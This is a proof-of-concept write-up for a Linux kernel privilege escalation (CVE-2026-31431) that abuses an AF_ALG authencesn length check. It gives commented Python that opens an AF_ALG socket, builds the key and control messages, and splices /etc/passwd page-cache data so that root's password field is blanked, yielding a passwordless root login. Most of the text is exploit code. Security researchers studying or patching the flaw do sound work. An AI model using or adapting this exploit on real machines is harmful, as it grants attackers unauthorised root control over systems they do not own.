
Proof-of-concept exploit for CVE-2026-31431, a Linux kernel privilege escalation via AF_ALG authenc length check bypass, achieving root by modifying /etc/passwd.
This exploit takes advantage of a flaw in the length validation of authencesn in Linux, causing dirty pages to be written back to locations the user has no permission to access, resulting in privilege escalation.
The attack principle is mainly based on this repo, with some modifications to the payload. https://github.com/rootsecdev/cve_2026_31431
This image shows the fix patch for Linux kernel 6.12.85. These patches will be traced in the code later.
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
The goal is to change the root password in /etc/passwd to no password (bypassing /etc/shadow verification)
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass